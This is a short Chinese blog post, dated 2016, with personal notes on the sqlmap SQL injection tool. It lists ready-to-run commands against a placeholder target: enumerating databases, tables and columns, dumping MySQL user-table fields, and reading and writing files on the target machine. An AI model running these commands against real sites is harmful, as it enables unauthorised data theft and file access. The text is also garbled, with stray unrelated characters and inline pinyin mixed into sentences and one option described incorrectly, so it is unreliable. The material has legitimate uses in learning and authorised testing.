SQLMAP是一款跨平臺(tái)或辖,開(kāi)源的SQL注入“企業(yè)級(jí)”工具,但同時(shí)也是很適合個(gè)人學(xué)習(xí)的工具。功能強(qiáng)大训堆,下面是自己使用SQLMAP的一些總結(jié)體會(huì)。
基本用法
進(jìn)到sqlmap目錄下:python sqlmap.py -u "http://target.com/login.php?id=3&submit=submit"
加入目標(biāo)URL里有SQL注入漏洞白嘁,則會(huì)出現(xiàn)結(jié)果:
成功注入
詳細(xì)參數(shù)
- --dbs: 列出所有的數(shù)據(jù)庫(kù)
--dbs
- -D table --tables: 列出table表的所有數(shù)據(jù)庫(kù)
-D mysql --tables:列出"mysql"庫(kù)中的所有表
- -D mysql -T user --columns:列出庫(kù)mysql下表user的所有字段
-D mysql -T user --columns
- -D mysql -T user -C "User, Host, is_role": 列出user表中字段“User,Host,is_role”的值
-D mysql -T user -C "User, Host, is_role"
- --file-read "C:\devlist.txt":讀取C盤下(目標(biāo)機(jī))的devlist.txt文件
--file-read "C:\devlist.txt"
- --file-write "C:\devlist.txt" --file-dest "G:\devcp.txt":將"C:\devlist.txt"文件寫入目錄"G:\devcp.txt"
--file-write "C:\devlist.txt" --file-dest "G:\devcp.txt"(沒(méi)有權(quán)限寫)
其他參數(shù)
others
至少有一個(gè)
2016.10.13 晚 上海